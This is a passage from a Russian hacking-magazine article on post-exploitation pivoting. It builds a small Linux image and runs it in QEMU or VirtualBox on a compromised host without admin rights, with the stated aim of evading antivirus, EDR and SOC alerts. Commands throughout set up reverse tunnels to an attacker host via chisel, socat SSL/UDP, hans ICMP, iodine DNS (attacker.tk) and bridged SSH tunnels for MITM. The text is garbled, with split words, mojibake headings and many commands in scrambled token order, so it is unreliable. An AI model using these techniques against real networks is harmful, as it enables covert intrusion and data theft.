ляция от внеш него мира.

Сра зу пос ле получе ния дос тупа к внут ренним ресур сам руки сами тянут ся
про верить мас су потен циаль ных уяз вимос тей из раз ряда low-hanged fruits —
чего-то дос таточ но прос того, час то встре чающе гося и дающе го мак сималь- 
ный импакт. А уж если в при дачу к ском про мети рован ному хос ту мы получи ли
еще и домен ную учет ку — то дер жись, домен, и с ним вся внут ренняя
инфраструк тура!

Од нако если адми ны и сетеви ки молод цы, то сра зу же пос ле про бития
перимет ра у нас нач нутся проб лемы. При мер но в полови не слу чаев 

 мы не получим. Чуть реже нас могут ждать обло мы
с ICMP и даже проб лемы с DNS-тун нелями. Так или ина че, в боль шинс тве
слу чаев мы все же можем орга низо вать какой-то мало-маль ски при год ный
канал эксфиль тра ции хотя бы для переда чи фай лов. Но порою про ком фор- 
тный внут ренний пен тест при ходит ся забыть.

прос того
халяв ного реверс-шел ла

С чего вооб ще начина ется любой пен тест, хоть внут ренний, хоть внеш ний?
Конеч но же, с раз ведки, поис ка внут ренних узлов, то есть ска ниро вания пор- 
тов. Думаю, боль шинс тво пен тесте ров пос тара ется про тащить на ском про- 
мети рован ный хост Nmap. Хорошо, допус тим, уда лось его передать и раз- 
ведать какие-то потен циаль ные уяз вимос ти. А что потом? Копиру ем подоб- 
ным же обра зом экс пло иты? А к ним еще в при дачу — ран тайм, нап ример?
50-мегабай товый Python, на котором написа на полови на экс пло итов?

Весь хакер ский арсе нал соз давал ся с при целом на удобс тво исполь- 
зования и фун кци ональ ность, но мало кто зак ладывал в него лег ковес ность
и перено симость. В ито ге при переме щении по внут ренней инфраструк туре
мы вынуж дены будем боль шую часть вре мени занимать ся копиро вани ем
скрип тов и прог рамм, а так же выг рузкой резуль татов. Ины ми сло вами, адми- 
нис три рова нием в весь ма экс тре маль ной фор ме.

Но это в иде аль ном слу чае. Если нам «пос час тли вилось» про бить ся через
Windows-машину, то впол не веро ятно, что с нами по соседс тву будет анти- 
вирус, ска жем тот же Defender. Эти при ложе ния будут уда лять доб рую
полови ну хакер ско го соф та, при чем не толь ко экзешни ки, но и даже скрип ты
на PowerShell из того же PowerSploit, столь популяр ного для раз ведки и ата ки,
без которо го мно гие пен тесте ры оста нут ся как без рук.

А если безопас ники не дрем лют, то каж дое исчезно вение толь ко что ско- 
пиро ван ной хакер ской тул зы — это еще и алерт в SOC, так что пен тест может
очень быс тро закон чить ся. И наконец, кто нам гаран тировал, что на под кон- 
троль ной машине будут админ ские или root-пра ва? Их отсутс твие так же дос- 
тавит мас су проб лем.

В ито ге получа ется забав ная, но час то воз ника ющая ситу ация: вро де бы
мы и ском про мети рова ли какую-то сис тему, и про били периметр, и в резуль- 
тате у нас появил ся сетевой дос туп до каж дого внут ренне го узла. По ощу- 
щени ям — кру гом дыры в безопас ности, и нам кажет ся, что мы в двух шагах
от кон трол лера домена, но почему-то в реаль нос ти ничего мы сде лать
не можем. И виной тому не защит ные меры, а лишь тех ничес кие нюан сы.
Но отсутс твие нор маль ного канала переда чи дан ных, анти виру сы, огра ничен- 
ные пра ва — это не защита, а все го лишь пал ки в колеса. Нас тояще го хакера
это не оста новит.

ÑÕÅÌÀ

При пос тэкс плу ата ции хакер может стол кнуть ся со сле дующи ми проб лемами:
ог раничен ные пра ва;•
не воз можность запиво тить ся (отсутс твие при год ного канала эксфиль тра- 
ции);

•

на личие анти виру са;•
спе цифи ка ОС.•

По луча ется, нам могут встре тить ся восемь раз личных усло вий сре ды:
Windows-сис тема + поль зователь ский дос туп + канал эксфиль тра ции
(post_1);

•

Linux-сис тема + поль зователь ский дос туп + канал эксфиль тра ции (post_1);•
Windows-сис тема + адми нис тра тив ный дос туп + канал эксфиль тра ции
(post_2);

•

Linux-сис тема + root-дос туп + канал эксфиль тра ции (post_2);•
Windows-сис тема + поль зователь ский дос туп + отсутс твие канала
эксфиль тра ции (post_3);

•

Linux-сис тема + поль зователь ский дос туп + отсутс твие канала эксфиль- 
тра ции (post_3);

•

Windows-сис тема + адми нис тра тив ный дос туп + отсутс твие канала
эксфиль тра ции (post_4);

•

Linux-сис тема + root-дос туп + отсутс твие канала эксфиль тра ции (post_4).•

Ис поль зование эму ляции и вир туали зации ста нет для нас уни вер саль ным
решени ем всех проб лем, с которы ми мы толь ко смо жем стол кнуть ся при пос- 
тэкс плу ата ции. Во-пер вых, эму ляция и вир туали зация абс тра гиру ют нас
от ОС на ском про мети рован ной машине и пред лага ют еди ный интерфейс
как для Windows, так и для Linux. Такой под ход для Windows отлично устра няет
дефицит ее сетевых воз можнос тей.

Во-вто рых, наличие в ата куемой сис теме адми нис тра тив ных или root-прав
не будет для нас необ ходимым усло вием. Реаль но же пра ва адми нис тра тора
могут пот ребовать ся в двух слу чаях.

Пер вый — это гипер визор, исполь зующий аппа рат ные воз можнос ти CPU.
В сов ремен ных вир туаль ных машинах он обес печива ет про изво дитель ность,
схо жую с про изво дитель ностью хос товой ОС, пос коль ку код гос тевой ОС
выпол няет ся реаль ным про цес сором, а не эму лиру емым. А безопас ная изо- 
ляция ресур сов вир туал ки от хос товой ОС дос тига ется как раз при виле гиро- 
ван ными инс трук циями вир туали зации про цес сора.

Вто рой слу чай, ког да нам могут пот ребовать ся пра ва, — это вир туаль ный
сетевой интерфейс гос тевой ОС. Он может быть объ еди нен с любым дру гим
интерфей сом хос товой ОС с помощью сетево го мос та. И то и дру гое для нас
не кри тич но. За пер вое мы зап латим лишь про изво дитель ностью гос тевой
ОС, ведь теперь весь ее код будет выпол нять ся вир туаль ным про цес сором
(то есть тран сли ровать ся). Вто рой слу чай не поз волит нам получить пол- 
ноцен ный сетевой дос туп к окру жению ском про мети рован ной машины.
Одна ко сетевой дос туп в режиме NAT у нас будет в любом слу чае, и его хва- 
тит как для боль шинс тва пивотинг-механиз мов, так и для подав ляюще го чис- 
ла атак.

На конец, сущес тву ет еще один важ ный момент — вся наша активность
будет про исхо дить под завесой эму ляции и вир туали зации, с исполь зовани- 
ем исклю читель но API вир туаль ной ОС, а не хос товой. И локаль ные средс тва
защиты (анти виру сы/EDR) ока жут ся за бор том.

Раз вивать ата ки в каж дом из воз можных слу чаев мы смо жем с исполь- 
зовани ем все го двух вир туаль ных ОС:

 — раз витие атак с пра вами или без прав и с каналом эксфиль тра- 
ции;

• gw.img

 — раз витие атак с пра вами или без прав и без канала
эксфиль тра ции.

• attack.img

Са ми же обра зы для мак сималь ной обратной сов мести мос ти будут 32-бит- 
ными, а интерфейс управле ния вир туал ками — мак сималь но прос тым и при- 
год ным для любой, даже самой тяжелой обста нов ки, ког да нет GUI-дос тупа
или нор маль ного реверс-шел ла.

На конец, под ход from scratch под разуме вает сбор ку обра за под любую
ситу ацию. Ведь никог да не зна ешь наперед, нас коль ко тон ким будет канал
переда чи дан ных и сколь ко мес та на ата куемом хос те мы получим в свое рас- 
поряже ние.

В каком бы окру жении при пос тэкс плу ата ции мы ни ока зались, с помощью
вир туали зации или эму ляции мы вый дем победи телем каж дый раз.

По рядок дей ствий при каж дом из воз можных усло вий сре ды пос тэкс плу -
ата ции

И каж дый раз мы будем исполь зовать одни и те же при выч ные нам инс тру- 
мен ты любимо го Linux.

Продолжение статьи →
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Вне зависи мос ти от того, име ются ли у нас адми нис тра тив ные пра ва на ском- 
про мети рован ной машине или нет, если у нас есть канал переда чи дан ных
наружу, мы всег да дол жны исполь зовать его для орга низа ции сетево го дос- 
тупа и раз вития пос леду ющих атак. Не сто ит раз вивать ата ки непос редс твен- 
но со ском про мети рован ной сис темы, они выпол няют ся с ноут бука ата- 
кующе го, а ском про мети рован ный узел исполь зует ся лишь в качес тве шлю за.

Pivoting не силь но тре бова телен в пла не прав, и прак тичес ки все то, что мы
спо соб ны сде лать при наличии высоких сис темных при виле гий, мож но будет
реали зовать и без них. Поэто му спер ва пос мотрим на более общие сце- 
нарии, не тре бующие адми нис тра тив ных прав, то есть раз вива емые с уров ня
L3, при год ного для совер шения боль шинс тва пос леду ющих атак.

Без прав адми нис тра тора или root мы не можем соз дать на хос те сетевой
интерфейс, ассо цииро ван ный с гос тевой ОС. Но обыч ные сокеты TCP/UDP
дос тупны даже неп ривиле гиро ван ному поль зовате лю. А QEMU уме ет перех- 
ватывать сетевую активность гос тевой сис темы. И это зна чит, что вир туаль- 
ная машина может быть запуще на таким обра зом, что весь ее сетевой тра- 
фик будет выходить через хос товую ОС (NAT) с исполь зовани ем лишь
TCP/UDP-сокетов. А если учесть, что внут ри гос тевой ОС мы всег да име ем
при виле гии, то это го будет дос таточ но для откры тия прак тичес ки любого пол- 
ноцен ного L3 VPN.

Се тевой дос туп уров ня L3 — через неп ривиле гиро ван ные TCP/UDP-
сокеты NAT-режима

Со берем пока все необ ходимое для пивотин га на сетевом и более высоких
уров нях.

В качес тве осно вы будем исполь зовать минима лис тичный образ Alpine
Linux:

sudo docker pull i386/alpine:3.18 
 gw sudo docker run --name -it i386/alpine:3.18 /bin/sh 

Наш стар товый раз мер ОС будет сос тавлять все го 5,5 Мбайт. Неп лохое
начало, одна ко на дан ный момент образ не содер жит прак тичес ки ничего.
Сле дующие пакеты пре дос тавят нам необ ходимый минимум удобс тва
при работе с кон солью (еще 4 Мбайт):

apk update 
apk add tmux busybox-extras 

Для раз нооб разных тун нелиро ваний и проб росов пор тов на все слу чаи жиз- 
ни, а так же работы с сетью уста новим допол нитель ные пакеты (19 Мбайт):

apk add openssh-client openssh-server iptables dhclient ppp socat 
tcpdump 

OpenSSH — глав ный инс тру мент для пивотин га. В нем есть все необ ходимые
pivoting-при мити вы: пря мой и обратный проб рос пор тов, прок си и даже
L3/L2-тун нели.

 rsa ssh-keygen -t -f /etc/ssh/ssh_host_rsa_key 
vi /etc/ssh/sshd_config 
 PermitRootLogin yes
 PermitTunnel point-to-point

Ути лита ssh всег да выручит нас, и вот как лег ко мы можем открыть L3-тун нель:

 

 

attacker> ssh -N root@gw -w 0:0 
attacker> ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1 
gw> ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2 
gw> echo 1 > /proc/sys/net/ipv4/ip_forward 
gw> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 
attacker> sudo route add -net 10.0.0.0/8 dev tun0

Од нако для сво ей работы ssh тре бует уста новить пол ноцен ное TCP-соеди- 
нение. А такая воз можность дос тупна далеко не всег да...

В пивотин ге мы всег да реша ем две задачи. Пер вая — это поиск дос тупно- 
го канала эксфиль тра ции и фор мирова ние на нем при год ного при мити ва
для переда чи дан ных. Вто рая задача уже чис то адми нис тра тив ная — орга- 
низа ция удоб ного тун неля через дос тупный нам канал эксфиль тра ции. Час то
пер вая задача реша ется быс тро, но при наличии IDS/IPS мы можем стол- 
кнуть ся с раз личны ми слож ностя ми, ког да раз решены могут быть лишь опре- 
делен ные про токо лы, нап ример SSL/TLS или HTTP.

Про токол HTTP так же име ет свои осо бен ности. Нап ример, дос туп к про- 
изволь ным хос там может быть зап рещен, но раз решен WebSocket,
или наобо рот. Воз можна ситу ация, ког да меж сетевой экран бло киру ет всё,
но по какой-то при чине адми нис тра торы забыва ют про ICMP. И наконец, DNS,
наш вер ный козырь в рукаве, будет работать поч ти всег да, давая канал
эксфиль тра ции в самых тяжелых слу чаях.

Та ким обра зом, перед ком фор тным пивотин гом нам пред сто ит нащупать
канал эксфиль тра ции. И тут мы дол жны про рабо тать самые раз нооб разные
тран спор ты, через которые потом откро ем VPN-тун нель.

Впол не воз можно, что в ском про мети рован ной сис теме дос туп в интернет
открыт толь ко HTTP-тра фику. Тут нам поможет chisel, который обла дает
одним пре иму щес твом — он исполь зует HTTP, а имен но WebSockets:

 

 

attacker> ./chisel server -p 8080 --reverse 
gw> ./chisel client attacker:8080 R:socks 
attacker> echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf 
attacker> sudo proxychains ssh -N root@localhost -w 0:0

WebSockets — отно ситель но новая тех нология, и в некото рых меж сетевых
экра нах, а так же в IDP/IPS-сис темах ее под дер жка может отсутс тво вать.
Быва ет и так, что средс тва IDS/IPS активно вме шива ются в HTTP, но не тро- 
гают HTTPS. Тут нам может при годить ся SSL-тун нелиро вание. Оно поз волит
сде лать любой про токол неот личимым от SSL. Реали зовать мы это можем
бук валь но в одну коман ду, с помощью socat. Со сто роны ском про мети рован-
ной сис темы это будет TCP<>SSL, со сто роны ата кующе го — SSL<>TCP,
а уже меж ду ними — чис тый SSL.

SSL-тун нель

 

 

gw> socat -v tcp-listen:8080 openssl:attacker:443,verify=0 
attacker> socat -v openssl-
listen:443,fork,cert=cert_key.pem,cafile=cert.pem,verify=0 tcp-
connect:127.0.0.1:22

Socat соз дает неч то вро де пай па: с одной сто роны это TCP, а с дру гой SSL.
SSL смот рит в сто рону интерне та, а в нашу сто рону работа ет обыч ный TCP,
с которым мы уже уме ем обра щать ся:

 

 

gw> ssh -p8080 proxy@localhost -R 2222:127.0.0.1:22 
attacker> sudo proxychains ssh -p2222 -N root@localhost -w 0:0

В ито ге обыч ное под клю чение TCP SSH обер нуто в SSL. Если зап рещен весь
TCP, но по какой-то при чине воз можен UDP (такое быва ет), то socat тоже
выручит нас. Он соз даст для нас проз рачную UDP-обер тку абсо лют но ана- 
логич ным обра зом.

UDP-тун нель

 

 

gw> socat -v tcp-listen:8080 udp-connect:attacker:53 
attacker> socat -v udp-listen:53,fork tcp-connect:127.0.0.1:22

А к ней мы уже можем при менить любой клас сичес кий инс тру мент пивотин га:

 

 

gw> ssh -p8080 proxy@localhost -R 2222:127.0.0.1:22 
attacker> sudo proxychains ssh -p2222 -N root@localhost -w 0:0

Те перь обыч ное под клю чение TCP SSH обер нуто в UDP.
Ес ли ни TCP, ни UDP не раз решен — про веря ем ICMP:

 

 

attacker> sudo ./hans -s 172.16.0.1 -p password 
gw> sudo ./hans -c attacker -p password -a 172.16.0.10

Инс тру мент hans самос тоятель но соз даст для нас пол ноцен ный L3-
интерфейс. На слу чай, если со ском про мети рован ной машины нет и такого
выхода в сеть, оста ется пос ледний вари ант — DNS-тун нель:

 

 

attacker> ./iodined -f -P password 172.16.0.1 attacker.tk 
gw> ./iodine -f -P password attacker.tk

Точ но так же iodine соз даст L3-интерфейс. И точ но так же через него мы
можем открыть более пол ноцен ный тун нель уже с исполь зовани ем SSH.

Все необ ходимое для пивотин га на все слу чаи жиз ни мы соб рали. Все
инс тру мен ты помеще ны в неболь шой Linux-кон тей нер, который мы далее
смо жем деп лоить на ата куемую машину средс тва ми вир туали зации или эму- 
ляции.

Но еще нуж но пре дус мотреть механизм нас трой ки для выбора под- 
ходяще го тун неля. Заранее мы не можем пре дуга дать, с какими слож ностя ми
в начале пос тэкс плу ата ции мы стол кнем ся. Воз можно, это будет дос туп к сис- 
теме без GUI и нор маль ной кон соли. Поэто му было бы неп лохо уметь
управлять нашей пос тэкс плу ата цион ной вир туал кой чем-то нас толь ко прос- 
тым, что мож но было бы реали зовать даже с исполь зовани ем L7-дос тупа.
Чем-то наподо бие веб-шел ла или скрип та Bash или PowerShell. И это Telnet!

Под дер жка Telnet при сутс тву ет в BusyBox, который мы уже уста нови ли
в самом начале. Одна ко для того, что бы мы мог ли уда лен но залоги нить ся,
пот ребу ется прис воить пароль root и соз дать неп ривиле гиро ван ного поль- 
зовате ля:

passwd root 
adduser -s /bin/sh user 
chmod u+s /bin/busybox 

Что бы Telnet запус кался авто мати чес ки при запус ке, а так же сеть нас тра ива- 
лась сама, пот ребу ется неболь шой скрипт авто запус ка, пре дос тавля емый
пакетом openrc (5 Мбайт):

apk add openrc 
touch /etc/local.d/init.start 
chmod +x /etc/local.d/init.start 
vi /etc/local.d/init.start 
 #!/bin/sh

 1  dmesg -n
 mount -o remount,rw / 
 ifconfig lo 127.0.0.1 netmask 255.0.0.0 

 dhclient eth0 
 #ifconfig eth0 172.16.0.200 netmask 255.255.255.0
 #route add -net default gw 172.16.0.1
 busybox-extras telnetd 

До бав ляем скрипт авто мати чес кой нас трой ки в авто запуск:

rc-update add local

Сох раня ем фай ловую сис тему ОС:

gw sudo docker export > gw.tar 

В ито ге все наши ути литы умес тились в 32 Мбайт! Userspace на этом готов.
Пос коль ку нам нуж на пол ноцен ная ОС, а не образ Docker, нам пот ребу ется
собс твен ное ядро. Для начала соз дадим файл-образ, в который мы будем
всё перено сить:

 truncate -s 100M gw.img 
fdisk gw.img 
n p w 

 2048sudo losetup -o $[ *512] /dev/loop0 gw.img 
sudo mkfs.ext4 /dev/loop0 
sudo mount /dev/loop0 /media/iso 

Те перь перене сем в образ наш юзер спейс:

cd /media/iso 
xvf sudo tar $OLDPWD/gw.tar 
boot sudo mkdir 

 - cd

Те перь соз дадим и перене сем ядро, а так же необ ходимые драй веры:

cd /usr/src/linux-5.16.12 
make sudo ARCH=i386 defconfig
make sudo ARCH=i386 menuconfig 

   bridge: Networking support -> Networking options -> 802.1d 
Ethernet Bridging <M> 
   tun: Device Drivers -> Network device support -> Network core 
driver support -> Universal TUN/TAP device driver support <M> 
   ppp: Device Drivers -> Network device support -> PPP (point-to-
point protocol) support <M>, PPP support for async serial ports <M>, 
PPP Deflate compression <M> 

make sudo ARCH=i386 prepare 
make sudo ARCH=i386 scripts 
make sudo ARCH=i386 bzImage 
make sudo ARCH=i386 modules 
make sudo INSTALL_PATH=/media/iso/boot install
make sudo INSTALL_MOD_PATH=/media/iso/ modules_install 

 - cd

Нас тала оче редь заг рузчи ка.

sudo grub-install --target=i386-pc --boot-directory=/media/iso/boot/ 
gw.img --modules='part_msdos'      <5M 

 cat <<E | sudo tee /media/iso/boot/grub/grub.cfg
set timeout=5
menuentry "Alpine Linux" {
linux /boot/vmlinuz-5.16.12 root=/dev/sda1 rw noapic
initrd /boot/initrd.img-5.16.12

}
E

Те перь зай мем ся RAM-дис ком:

sudo chroot /media/iso /bin/sh 
echo nameserver 8.8.8.8 > /etc/resolv.conf 
apk add mkinitfs 

 mkinitfs -k -o /boot/initrd.img-5.16.12 5.16.12 
apk del mkinitfs 
exit

Фи наль ный раз мер нашего pivoting-обра за все го 71 Мбайт!

sudo umount /media/iso/ 
sudo losetup -d /dev/loop0 

Эта вир туал ка под готов лена как уни вер саль ный шлюз со все ми необ ходимы- 
ми инс тру мен тами на все слу чаи жиз ни. Она поз волит нам орга низо вать VPN-
тун нель через любое дос тупное под клю чение. При этом сам канал эксфиль- 
тра ции меж ду ата кующим и жер твой может быть как прос тым TCP-соеди нени- 
ем, SSL, HTTP, UDP, ICMP, так и экс тре маль ным DNS-тун нелем. Приш ло вре мя
испы тать эту вир туаль ную машину в деле.

Èñïûòûâàåì GW.img íà QEMU â Windows (íåò ïðèâèëåãèé, åñòü

ýêñôèëüòðàöèÿ)

Пер вый кейс: мы на компь юте ре под управле нием Windows, у нас есть канал
эксфиль тра ции наружу, но нет прав. Итак, пос мотрим, что мы можем сде лать,
если на ском про мети рован ной машине мы не адми ны.

В этот раз мы будем исполь зовать , а его пра роди теля .
Он не тре бует адми нис тра тив ных прав и может работать без уста нов ки. Пор- 
татив ный софт — это всег да удоб но. Да и раз мер вир туаль ной машины в упа- 
кован ном виде будет сос тавлять все го поряд ка 10 Мбайт.

не VirtualBox QEMU

Так как одно из началь ных усло вий — отсутс твие прав, то от исполь- 
зования вир туали зации (гипер визора) при дет ся отка зать ся в поль зу ста рого
доб рого метода эму ляции. Вир туаль ная машина QEMU под держи вает
не толь ко raw-обра зы дис ка, но и собс твен ные фор маты. Поэто му
перед копиро вани ем обра за на ском про мети рован ную машину пре обра зуем
его:

qemu-img convert gw.img -O qcow2 gw.qcow2 

Уход от raw-обра за дис ка необя зате лен, но полезен тем, что опти мизи рует
пус тоты и дела ет фак тичес кий раз мер обра за рав ным объ ему содер жащих ся
в нем полез ных дан ных. Так мы можем оста вить сво бод ное мес то на дис ке
вир туал ки, не уве личи вая раз мер обра за. Для запус ка вир туаль ной машины
нам не пот ребу ются пра ва, пос коль ку все будет про исхо дить прог рам мно,
без прив лечения железа:

 64M  nic qemu-system-i386.exe -hda gw.qcow2 -m -net -net user,hostfwd=
tcp::2323-:23,hostfwd=tcp::2222-:22 

Тут, помимо того что запус каем вир туаль ную машину, мы проб расыва ем
на нее сквозь NAT два пор та — Telnet (управля ющий) и SSH (для pivoting).
И пос ле запус ка вир туал ки обра щение к неп ривиле гиро ван ным пор- 
там 2323/TCP и 2222/TCP на ском про мети рован ном хос те при ведет нас
к GW-обра зу. Ана логич ным обра зом мож но проб росить и дру гие пор ты.

В ито ге маги ей эму ляции мы иска зили реаль ность и внут ри неп ривиле- 
гиро ван ной Windows-сес сии у нас появ ляет ся при виле гиро ван ный root-шелл
Linux.

Меч та хакера — root-шелл на Linux

Так ли нам нуж но повыше ние при виле гий? Раз гадка фокуса в том, что все
наши пра ва огра ничи вают ся лишь фай лом — нашим вир туаль ным обра зом
Linux. А все гос тевые сетевые пакеты на хос товой ОС будут обра бота ны прос- 
тыми неп ривиле гиро ван ными сокета ми TCP/UDP.

Тем не менее, если у нас есть root, внут ри кон тей нера мы можем делать
всё, что захотим. А если сна ружи вир туаль ная машина перех ватыва ет сеть
гос тевой ОС и обо рачи вает всё прос тыми сокета ми, то это го дос таточ но
для откры тия прак тичес ки любого VPN-тун неля с внеш ним миром.

VPN-тун нель L3 воп реки отсутс твию адми нис тра тив ных прав

В ито ге мы име ем пол ноцен ный VPN-тун нель L3 без при виле гий. По сути,
со сто роны ском про мети рован ной машины это L4-тун нель, работа ющий уже
на тран спортном уров не. Но со сто роны ата кующе го это все тот же L3,
к которо му при мени ма клас сичес кая мар шру тиза ция и проб росы пор тов.
Через него мож но про водить пол ноцен ные быс трые ска ниро вания пор тов (в
отли чие от прок си) для раз вития даль нейших атак. Все, кро ме перех вата тра- 
фика, — это при виле гия уров ня L2, и мы до него еще дой дем...

Èñïûòûâàåì GW.img íà qemu-system â Linux (íåò ïðèâèëåãèé,

åñòü ýêñôèëüòðàöèÿ)

Что нас чет Linux? Пред ста вим, что мы попали на компь ютер с этой сис темой
и у нас ожи даемо отсутс тву ют пра ва root.

В Linux сущес тву ет замеча тель ный механизм chroot, огра ничи вающий
работу с фай лами в пре делах ука зан ной пап ки и соз дающий тем самым
эффект кон тей нера. Но сис темный вызов  — при виле гиро ван ная опе- 

рация. Тем не менее chroot не выг лядит опе раци ей, тре бующей ядер ных при- 
виле гий, ведь это все го лишь усе чение час ти пути, а путь — понятие более
близ кое к user-mode.

chroot

Зна чит, добить ся это го мож но чис то из userspace и без наличия прав.
Для это го мож но исполь зовать fakechroot. Биб лиоте ка fakechroot перех- 
ватыва ет биб лиотеч ные вызовы от при ложе ния, исполь зующие эти самые
пути (API-фун кции работы с фай лами, а так же поиск самих биб лиотек), и про- 
изво дит усе чение этих путей.

Ана логич но мож но обма нуть прог рамму и выдать себя за супер поль- 
зовате ля, под меняя резуль таты вызовов  и , — имен но так
работа ет fakeroot.

getuid() getgid()

Об маныва ем сами себя и говорим, что мы root

Од нако это лишь фик ция. Даже если мы ста нем root и, абс тра гиро вав шись
от кор невой фай ловой сис темы, зай дем в кон тей нер, так мы обма нем лишь
userspace. Но ядро этим спо собом не про ведешь. К тому же часть pivoting-
ком понен тов находит ся в ядре — это драй веры, пре дос тавля ющие нам пол- 
ноцен ные сетевые интерфей сы и мос ты.

По это му на Linux эму ляция будет для нас опти маль ным решени ем,
и исполь зовать мы будем QEMU — суперу нивер саль ный инс тру мент. Linux-
сис темы очень мно гог ранны, и при пос тэкс плу ата ции поч ти всег да мы будем
стал кивать ся с несов падени ем вер сий биб лиотек.

По это му, что бы QEMU запус кался без проб лем на раз ных ОС с раз ными
вер сиями биб лиотек, нам пот ребу ется сбор ка со ста тичес кой ком пиляци ей.
Еще нуж но позабо тить ся о том, что бы QEMU оди нако во хорошо запус кался
как на x86, так и на x86_64, поэто му для обратной сов мести мос ти соберем
его в 32-бит ном исполне нии:

apt sudo install git gcc g++ make python3-venv ninja-build meson pkg-
config libglib2.0-dev libpixman-1-dev libslirp-dev 

 qemu git clone https://github.com/qemu/qemu && cd 
 git clone https://gitlab.com/qemu-project/libslirp.git && cd libslirp 

.o   - 
meson build; ninja -C build install; ar rcs libslirp.a build/

libslirp.so.0.4.0.p/* ; cd
  

 
./configure --disable-werror --static --target-list=i386-softmmu,x86_
64-softmmu --without-default-features --enable-slirp
make  -k -j4

Ста тичес кая ком пиляция дела ет исполня емый файл незави симым от биб- 
лиотек, внед ряя весь необ ходимый биб лиотеч ный код непос редс твен но
в сам исполня емый файл. В ходе сбор ки QEMU нам пот ребова лась биб- 
лиоте ка , а в ее уста новоч ном пакете отсутс тво вал объ ектный файл,

который и исполь зует ся для вклей ки кода биб лиоте ки в исполня емый файл
при ста тичес кой ком понов ке. Имен но поэто му дан ную биб лиоте ку приш лось
соб рать самос тоятель но. Пос ле сбор ки QEMU нам пот ребу ются сле дующие
фай лы.

libslirp

Пор татив ный и перено симый QEMU запус тится вез де и без прав

Это зна чит, что с очень боль шой долей веро ятности такая сбор ка QEMU
запус тится на любой ОС, как 32-, так и 64-бит ной, как на ста рой, так и на
новой.

За пус каем вир туаль ную машину без адми нис тра тив ных прав:

 64M  nic ./qemu-system-i386 -hda gw.img -m -net -net user,hostfwd=tcp:
127.0.0.1:2323-10.0.2.15:23,hostfwd=tcp:127.0.0.1:2222-10.0.2.15:22 

Пос коль ку вир туаль ная ОС будет работать за NAT, мы опять проб расыва ем
в нее пор ты с хос та. И вновь мы иска зили реаль ность и получи ли root внут ри
user.

Root-пра ва from scratch

Те перь мы можем выпол нить любой, даже самый слож ный pivoting, пре дос- 
тавив себе пол ноцен ный VPN-тун нель L3.

Зак рыва ем гла за на все проб лемы и под нима ем VPN-тун нель, нес мотря
ни на что и воп реки отсутс твию root-прав

Мы запус тили DNS-тун нель и не пос тавили на ском про мети рован ной машине
ни одно го пакета! К тому же напом ню, адми нис тра тив ных прав на этом компь- 
юте ре у нас не было. А VPN-тун нель теперь есть.

Продолжение статьи →

https://xakep.ru/2020/06/17/windows-mitm/
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Те перь пред ста вим себе более обна дежи вающую ситу ацию: на ском про- 
мети рован ной машине у нас есть и адми нис тра тив ные пра ва, и канал
эксфиль тра ции наружу. Навер ное, это самый «везучий» кейс в пла не воз- 
можнос тей.

При наличии дол жных прав эму ляция сетевых карт у сов ремен ных вир- 
туаль ных машин поз воля ет соз дать в хос товой ОС пол ноцен ный вир туаль ный
сетевой интерфейс, который с помощью bridge мож но сов местить
с основным сетевым интерфей сом хос та. Что и обес печит пол ноцен ное
копиро вание сетевых пакетов меж ду guest и host на ском про мети рован ной
машине.

В то же вре мя любой сетевой интерфейс VPN уже внут ри гос тевой ОС тем
же bridge может быть сов мещен с ее основным интерфей сом Eth, на который
пакеты копиру ются с хос та уже силами эму лято ра или вир туали зации. В ито ге
сис тема из двух bridge спо соб на проз рачно дос тавить любые пакеты хос та
с самого низ кого L2-уров ня в любой сетевой интерфейс гос тевой ОС,
который мы соз дадим той или иной pivoting-ути литой.

Се тевой дос туп уров ня L2 — через двой ной bridge

В слу чае если на ском про мети рован ной машине мы рас полага ем адми нис- 
тра тив ными пра вами, мы можем делать все то же самое, что было опи сано
выше, но плюс к это му нам откры вает ся бонус: L2-ата ки. И нам ста новят ся
дос тупны такие мощ ные вещи, как MITM или spoong.

Все необ ходимое для того, что бы вир туаль ная ОС мог ла пре дос тавить
нам VPN-тун нель L2, уже есть в нашем GW-обра зе — это OpenSSH. И для
акти вации L2-тун неля нам нуж на лишь одна строч ка в его кон фиге:

vi /etc/ssh/sshd_config 
 PermitTunnel ethernet 

Пе реза пус каем sshd и заг ружа ем два драй вера:

/usr/sbin/sshd 
modprobe tun 
modprobe bridge 

На сто роне ата кующе го мы под клю чаем ся по SSH:

 sudo ssh root@victim -o Tunnel=ethernet -w any:any 

Те перь и у ата кующе го, и у жер твы одновре мен но появ ляет ся сетевой TAP-
интерфейс. На сто роне целевой сис темы внут ри GW-обра за его нуж но объ- 
еди нить с основным сетевым интерфей сом Eth с помощью bridge:

brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; 
ifconfig eth0 0 promisc; ifconfig br0 10.0.0.18 netmask 255.255.255.0
; route add -net default gw 10.0.0.1 
ifconfig tap0 up 

Точ но так же на сто роне хос та: его сеть дол жна быть сбрид жена с сетевым
интерфей сом гос тевой ОС. И пос ле это го пакеты нач нут заходить в наш тун- 
нель, ведь, как мы пом ним, сетевой мост — это самый прос той спо соб
копиро вания пакетов меж ду сетевы ми интерфей сами. На сто роне ата кующе- 
го TAP-интерфейс — это не что иное, как L2-пор тал в сеть victim:

dhclient tap0 

Бла года ря абс тра гиро ванию от ОС жер твы с помощью тех нологии эму ляции
мы смо жем при менять этот уни вер саль ный трюк вся кий раз вне зависи мос ти
от уста нов ленной на ском про мети рован ной машине опе раци онной сис темы.

Èñïûòûâàåì GW.img íà VirtualBox â Windows (åñòü ïðèâèëåãèè,

åñòü ýêñôèëüòðàöèÿ)

Вир туаль ная машина QEMU в ОС Windows не име ет под дер жки сетевых
интерфей сов на сто роне хос та. Но ее пос ледова тель VirtualBox — име ет.
К тому же у нее есть удоб ная кон соль ная ути лита для объ еди нения сетевых
интерфей сов в мост. Поэто му деп лоим на ском про мети рован ном хос те
VirtualBox и запус каем в ней GW-образ нашего Linux в качес тве уни вер саль- 
ного шлю за.

Пос коль ку запус кать образ мы будем не на QEMU, а на VirtualBox, то
для начала нам надо скон верти ровать наш образ в фор мат дис ка, понят ный
VirtualBox. И вновь это дела ется силами велико го и могуче го QEMU (на сто- 
роне ата кующе го):

qemu-img convert gw.img -O vdi gw-disk001.vdi 

Те перь на сто роне ата кующе го в VirtualBox оста ется лишь соз дать пус тую
вир туал ку с исполь зовани ем нашего готово го vdi-дис ка, а затем экспор- 
